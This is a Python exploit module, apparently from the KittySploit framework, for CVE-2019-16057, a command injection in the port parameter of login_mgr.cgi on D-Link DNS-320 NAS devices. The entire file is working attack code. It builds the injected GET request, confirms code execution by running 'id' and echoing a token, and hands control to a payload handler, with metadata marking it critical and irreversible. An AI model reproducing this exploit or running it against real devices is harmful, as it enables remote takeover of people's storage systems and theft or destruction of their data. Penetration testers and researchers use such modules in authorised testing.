D-Link DNS-320 login_mgr RCE (CVE-2019-16057)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DNS-320 login_mgr.cgi RCE (CVE-2019-16057)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'D-Link DNS-320 login_mgr RCE (CVE-2019-16057)',
        'description': (
            'Exploits CVE-2019-16057 in D-Link DNS-320 <=2.05.B10: command injection in '
            'login_mgr.cgi port parameter.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2019-16057'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2019-16057',
        ],
        'tags': ['dlink', 'nas', 'rce', 'cmdi', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2019_16057_detect'],
            },
        },
    }

    def execute(self, cmd: str) -> str:
        inj = urllib.parse.quote(f'80|{cmd}', safe='')
        path = (
            f'/cgi-bin/login_mgr.cgi?C1=ON&cmd=login&f_type=1&f_username=admin'
            f'&port={inj}&pre_pwd=1&pwd=%20&ssl=1&ssl_port=1&username='
        )
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2019-16057 injection confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'DNS-320 injection not confirmed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()